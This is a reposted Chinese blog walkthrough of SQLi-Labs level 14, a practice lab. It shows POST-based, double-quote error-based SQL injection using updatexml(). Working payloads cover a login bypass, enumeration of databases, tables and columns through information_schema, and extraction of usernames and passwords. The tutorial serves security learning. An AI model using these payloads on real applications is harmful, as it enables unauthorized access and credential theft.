SQLi LABS Less-14

举报
士别三日wyx 发表于 2021/12/23 01:23:49 2021/12/23
【摘要】 第十四关请求方式为 POST请求 , 注入点为 双引号字符串型 , 注入方式为 报错注入 本次报错注入使用 updatexml() updatexml(1,'~',3) -- 第二个参数包含特殊符号时,会报错,并将参数内容返回在报错内容中 -- 返回的结果不超过32个字符 第一步,判断注入方式 老规矩 , 先给一个单引...

第十四关请求方式为 POST请求 , 注入点为 双引号字符串型 , 注入方式为 报错注入

本次报错注入使用 updatexml()


  
  1. updatexml(1,'~',3)
  2. -- 第二个参数包含特殊符号时,会报错,并将参数内容返回在报错内容中
  3. -- 返回的结果不超过32个字符

第一步,判断注入方式

老规矩 , 先给一个单引号' , 用户名输入 a',密码随便输入 ,  没啥反应 , 说明单引号对后端的SQL不会产生影响

再试试双引号" , 用户名输入 a" , 密码随便输入 

数据库报错了 , 看来后端SQL包裹参数用的是双引号 或双引号加括号 , 既然有报错 , 那就用报错注入吧 , 用户名输入一下代码 , 密码随便输入

a" or true #
 

通过 true , 使SQL恒成立 , 登录成功 , 固 双引号字符串型注入

 源码如下

使用updatexml() 判断 数据库是否报错

a" and updatexml(1,'~',3) #
 

数据库正常显示错误 , 接下来利用错误注入进行脱库

updatexml() 的第二个参数如果包含特殊字符 , 数据库会报错,并返回第二个参数的内容 , 错误注入依据的就是这个特点

第二步,获取所有数据库

查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存了所有的数据库名


  
  1. a" and updatexml(1,concat('~',
  2. (select schema_name
  3. from information_schema.schemata limit 1,1))
  4. ,3) #

此处的concat() , 将结果拼接上'~' 使其报错 从而数据库报错 

limit 分页 以此查看所有数据库

查看当前使用的数据库


  
  1. a" and updatexml(1,concat('~',
  2. (database()))
  3. ,3) #

可知 , 当前使用的数据库为 security , 下一步,查询security数据库的所有表

第三步,获取所有表

查询information_schema默认数据库的tables表的table_name字段 , 该字段保存了所以的表名


  
  1. a" and updatexml(1,concat('~',
  2. (select table_name
  3. from information_schema.tables
  4. where table_schema='security' limit 3,1))
  5. ,3) #

由于updatexml() 显示字符串长多不超过32个字符 , 此处使用limit分页 以此查看所有表名

users表为用户表 , 下一步查询users表的所有字段

第四步,获取所有字段

查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段名


  
  1. a" and updatexml(1,concat('~',
  2. (select group_concat(column_name)
  3. from information_schema.columns
  4. where table_schema='security'
  5. and table_name='users'))
  6. ,3) #

至此可知 , 数据库 security, 表 users, 字段 id,username,password , 下一步,根据这些信息获取账号和密码

第五步,获取账号密码


  
  1. a" and updatexml(1,concat('~',
  2. substr((select group_concat(username,'~',password)
  3. from security.users),1,31))
  4. ,3) #

 updatexml() 返回的字符串长度最多为32个字符 , 此处用substr() 每次截取31个字符 , 直至截取完所有数据

文章来源: blog.csdn.net,作者:士别三日wyx,版权归原作者所有,如需转载,请联系作者。

原文链接:blog.csdn.net/wangyuxiang946/article/details/118094895

【版权声明】本文为华为云社区用户转载文章,如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。